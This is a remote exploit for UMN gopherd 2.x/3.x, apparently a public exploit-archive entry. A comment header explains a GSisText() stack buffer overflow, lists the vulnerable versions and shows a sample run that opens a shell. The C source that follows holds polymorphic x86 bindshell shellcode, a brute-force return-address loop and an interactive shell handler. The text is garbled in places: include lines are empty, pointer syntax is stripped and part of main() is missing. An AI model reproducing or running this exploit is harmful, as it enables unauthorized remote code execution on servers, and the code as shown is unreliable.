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Gopherd <= 3.0.5 GSisText() Buffer Overflow remote Exploit
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/*
[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]
by: vade79/v9 v9 fakehalo.deadpig.org (fakehalo/realhalo)
three years since last audit, code is a little more secure. but,
still found a few potentially exploitable situations. this
exploits the GSisText() object function in gopherd. the function
is used in determining view-type. the function does not check the
length of the string, which is copied into a temporary 64 byte
buffer. an example would look like this(including where to put the
shellcode at):
"g\t+\t1\n\n"
to exploit this, the request must start with a h, 0, 4, 5, 9, s, I,
or g. followed by a +. to have a place to put
the shellcode, i appeneded a 1, which makes gopherd wait for
another line before actually doing the overflow.
requirements(general):
none. no option to disable this, hard-coded upon compile.
requirements(for this exploit):
the server must be running linux/x86(what i made the exploit for).
gopherd must be started in the root directory "/", running with
the -c command line option, or started as non-root. any of those
three situations will allow for successful exploitation. this
does not mean it is impossible to exploit otherwise. but, gopherd
will be in a chroot()'d state. and, as of the 2.4 kernel series,
i have seen no such way to break chroot. if it is desired to
still run code, even in a limited environment, simply change the
shellcode to your likings.
bug location(gopher-3.0.5/object/GSgopherobj.c):
2088:boolean
2089:GSisText(GopherObj gs, char view)
2090:{
...
2106:char viewstowage[64], cp;
2108:strcpy(viewstowage, view);
vulnerable versions:
v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),
v2.3.1. (patch level 0 through 15/all 2.3.1 versions)
(it is assumed versions before 2.3.1 are vulnerable as well)
tested on platforms(with no code changes/offsets):
RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686
Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
(tested on both v3.0.5, and v2.3.1 sources / no changes)
example usage:
# cc xgopherd2k3-view.c -o xgopherd2k3-view
# ./xgopherd2k3-view localhost
[] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.
[] "UMN gopherd remote GSisText()/view buffer overflow"
[] by: vade79/v9 (fakehalo)
[] target: localhost:70 - brute: 0xbfffe000-0xbfffffff
(. = 29 byte offset): ............................................
..................................................................
................................................(hit shellcode!)
Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$
uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/ using brute force method, don't change values. /
#define CODESIZE 256 / big as it gets, or will fail. /
#define EIPSIZE 128 / 64 byte buffer, little overboard. :) /
#define BASEADDR 0xbfffe000 / starting address, should be ok. /
#define ENDADDR 0xbfffffff / address to stop at. /
#define TIMEOUT 10 / connection timeout. (general) /
/ globals. /
static char x86_exec[]= / bindshell(45295)&, netric/S-poly. /
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
"\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
"\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
"\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
"\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
"\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
"\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
"\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
"\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
"\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
"\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
"\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
"\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
"\x6e";
/ functions. /
char geteip(unsigned int);
char getcode(void);
unsigned short gopher_connect(char ,unsigned short,
unsigned int);
void getshell(char ,unsigned short);
void printe(char ,short);
/ signal handlers. /
void sig_ctrlc(){printe("aborted",1);}
void sig_alarm(){printe("alarm/timeout hit",1);}
/ begin. /
int main(int argc,char argv){
unsigned short gopher_port=70; / default. /
unsigned int offset=0,i=0;
char gopher_host;
printf("[] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
"verflow exploit.\n[] \"UMN gopherd remote GSisText("
")/view buffer overflow\"\n[] by: vade79/v9 v9@fakeh"
"alo.deadpig.org (fakehalo)\n\n");
if(argc<2){
printf("[!] syntax: %s \n\n",argv[0]);
exit(1);
}
if(!(gopher_host=(char )strdup(argv[1])))
printe("main(): allocating memory failed",1);
for(i=0;ih_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr )&s,sizeof(s))){
alarm(0);
close(sock);
return(1);
}
alarm(0);
usleep(500000); / had problems, without a delay here. /
/ the exploit itself. /
dprintf(sock,"g\t+%s\t1\n",geteip(offset)); / 64 bytes. /
dprintf(sock,"%s\n",getcode()); / 256 bytes room. /
usleep(500000);
close(sock); / done. /
return(0);
}
/ same getshell() routine, a little modded for brute. /
void getshell(char hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return;
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
close(sock);
return;
}
memcpy((char )&sa.sin_addr,(char )he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr )&sa,sizeof(sa))){
alarm(0);
close(sock);
return;
}
alarm(0);
fprintf(stderr,"(hit shellcode!)\n\n");
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1){
printe("getshell(): select() failed",0);
return;
}
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1){
printe("getshell(): read() failed",0);
return;
}
if(write(sock,buf,r)!=r){
printe("getshell(): write() failed",0);
return;
}
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char err,short e){
fprintf(stderr,"(error: %s)\n",err);
if(e)
exit(1);
return;
}
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